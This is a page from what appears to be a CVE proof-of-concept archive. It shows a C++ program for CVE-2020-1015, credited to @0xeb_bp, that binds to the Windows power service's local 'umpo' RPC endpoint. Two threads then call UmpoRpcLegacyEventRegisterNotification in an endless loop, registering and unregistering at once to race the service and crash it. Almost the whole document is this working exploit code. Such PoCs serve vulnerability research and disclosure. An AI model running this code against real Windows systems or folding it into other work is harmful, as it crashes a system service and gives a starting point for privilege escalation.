4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2020_1015.cpp CPP
/*
CVE-2020-1015 PoC Crash written by @0xeb_bp
more information at https://0xeb-bp.github.io/blog/2020/05/12/cve-2020-1015-analysis.html
*/

#include <iostream>
#include "Source_h.h"

DWORD WINAPI register_thread(LPVOID lpParameter)
{
    handle_t PowerServiceHandle = *((handle_t*)lpParameter);
    
    wchar_t service_name[] = {0x4141, 0x4141, 0x4141, 0x4141,
                              0x4242, 0x4242, 0x4242, 0x4242, 
                              0x4343, 0x4343, 0x4343, 0x4343, 
                              0x4444, 0x4444, 0x4444, 0x4444, 
                              0x4545, 0x4545, 0x4545, 0x4545, 
                              0x4646, 0x4646, 0x4646, 0x0000}; 

	while (1) {
		RpcTryExcept
		{
			// Calls the RPC function
			UmpoRpcLegacyEventRegisterNotification(
				// Handle
				PowerServiceHandle,
				// Handle
				0x1337,
				// Service Name
				service_name,
				// Deref = 1, Register = 0
				0);
		}
			RpcExcept(1)
		{
			std::cerr << "Runtime reported exception " << RpcExceptionCode()
				<< std::endl;
		}
		RpcEndExcept
	}
    return 0;
}

DWORD WINAPI unregister_thread(LPVOID lpParameter)
{
    handle_t PowerServiceHandle = *((handle_t*)lpParameter);

    wchar_t service_name[] = {0x4141, 0x4141, 0x4141, 0x4141,
                              0x4242, 0x4242, 0x4242, 0x4242, 
                              0x4343, 0x4343, 0x4343, 0x4343, 
                              0x4444, 0x4444, 0x4444, 0x4444, 
                              0x4545, 0x4545, 0x4545, 0x4545, 
                              0x4646, 0x4646, 0x4646, 0x0000}; 

	while (1) {
		// add some randomization
		long reg = rand() % 2;
		RpcTryExcept
		{
			// Calls the RPC function
			UmpoRpcLegacyEventRegisterNotification(
				// Handle
				PowerServiceHandle,
				// Handle
				0x1337,
				// Service Name
				service_name,
				// Deref = 1, Register = 0
				reg);
		}
			RpcExcept(1)
		{
			std::cerr << "Runtime reported exception " << RpcExceptionCode()
				<< std::endl;
		}
		RpcEndExcept
	}
    return 0;
}

int main()
{
    RPC_STATUS status;
    RPC_CSTR szStringBinding = NULL;
    handle_t PowerServiceHandle = NULL;

    // Create string binding handle
    status = RpcStringBindingComposeA(
        // UUID
        NULL,
        // Protocol
        (RPC_CSTR)("ncalrpc"),  
        // TCP/IP network address to use
        NULL,          
        // Endpoint
        (RPC_CSTR)("umpo"),
        // Protocol dependent network options to use
        (RPC_CSTR)("Security=Impersonation Dynamic True"),
        // String binding output
        &szStringBinding);

    if (status) {
        std::cout << "Error RpcStringBindingComposeA" << std::endl; 
        exit(status);
    }

    // Create binding handle
	status = RpcBindingFromStringBindingA(
	szStringBinding,
	&PowerServiceHandle); 

    if (status)
        exit(status);

	// Create threads
    HANDLE t1 = CreateThread(0, 0, register_thread, &PowerServiceHandle, 0, 0);
    HANDLE t2 = CreateThread(0, 0, unregister_thread, &PowerServiceHandle, 0, 0);

	// Basic exit
    char exit_input = ' ';
    while(exit_input != 'q')
    {
        exit_input = getchar();
    }

    // cleanup
	CloseHandle(t1);
	CloseHandle(t2);

    RpcStringFreeA(&szStringBinding);
	RpcBindingFree(&PowerServiceHandle);

    std::cout << "Ending..." << std::endl;

	return 0;
}

// Memory allocation function for RPC
// The runtime uses these two functions for allocating/deallocating
void* __RPC_USER midl_user_allocate(size_t size)
{
    return malloc(size);
}

// Memory deallocation function for RPC.
void __RPC_USER midl_user_free(void* p)
{
    free(p);
}